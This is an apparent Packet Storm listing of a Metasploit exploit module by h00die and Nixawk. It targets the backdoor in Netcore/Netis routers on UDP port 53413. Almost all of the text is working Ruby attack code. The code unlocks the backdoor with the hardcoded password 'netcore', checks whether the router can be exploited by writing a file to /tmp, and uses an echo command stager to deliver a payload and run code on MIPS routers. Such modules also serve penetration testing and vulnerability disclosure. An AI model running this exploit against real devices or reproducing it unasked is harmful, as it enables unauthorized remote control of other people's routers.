Netcore Router Udp 53413 Backdoor

2016-08-11T00:00:00
ID PACKETSTORM:138285
Type packetstorm
Reporter h00die
Modified 2016-08-11T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Netcore Router Udp 53413 Backdoor',  
'Description' => %q{  
Routers manufactured by Netcore, a popular brand for networking  
equipment in China, have a wide-open backdoor that can be fairly  
easily exploited by attackers. These products are also sold under  
the Netis brand name outside of China. This backdoor allows  
cyber criminals to easily run arbitrary code on these routers,  
rendering it vulnerable as a security device.  
Some models include a non-standard echo command which doesn't  
honor -e, and are therefore not currently exploitable with  
Metasploit. See URLs or module markdown for additional options.  
},  
'Author' =>  
[  
'Nixawk',  
'h00die <mike@shorebreaksecurity.com>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],  
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],  
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']  
],  
'Privileged' => true,  
'Targets' =>  
[  
['MIPS Little Endian',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSLE  
}  
],  
['MIPS Big Endian',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 25 2014'))  
  
register_options(  
[  
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),  
Opt::RPORT(53413)  
], self.class)  
end  
  
def timeout  
(datastore['TIMEOUT'] || 1000) / 1000.0  
end  
  
def send_command(data)  
payload = "\x00" * 8  
payload << data  
udp_sock.put(payload)  
end  
  
def execute_command(cmd, _opts)  
send_command(cmd)  
vprint_status("Sending: #{cmd}")  
end  
  
def authenticate()  
# netcore is the password to unlock the backdoor  
send_command('netcore')  
resp = udp_sock.get(timeout)  
if resp.include?('Login succeeded!')  
vprint_good('Backdoor Unlocked')  
end  
end  
  
def check  
connect_udp  
authenticate  
resp = []  
tmp_file = Rex::Text.rand_text_alpha(5)  
# we need to test the echo command to see if it plays nice  
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|  
send_command(command)  
resp << udp_sock.get(timeout)  
end  
disconnect_udp  
resp_str = resp.join(',')  
# check if we got a good response back  
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)  
# some routers have a non-standard echo which doesn't support -en, so we need to detect that  
if resp_str.include?('en ')  
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')  
Exploit::CheckCode::Detected  
else  
Exploit::CheckCode::Vulnerable  
end  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status('Exploiting...')  
connect_udp  
authenticate  
execute_cmdstager(:flavor => :echo, :linemax => 200)  
disconnect_udp  
end  
end  
`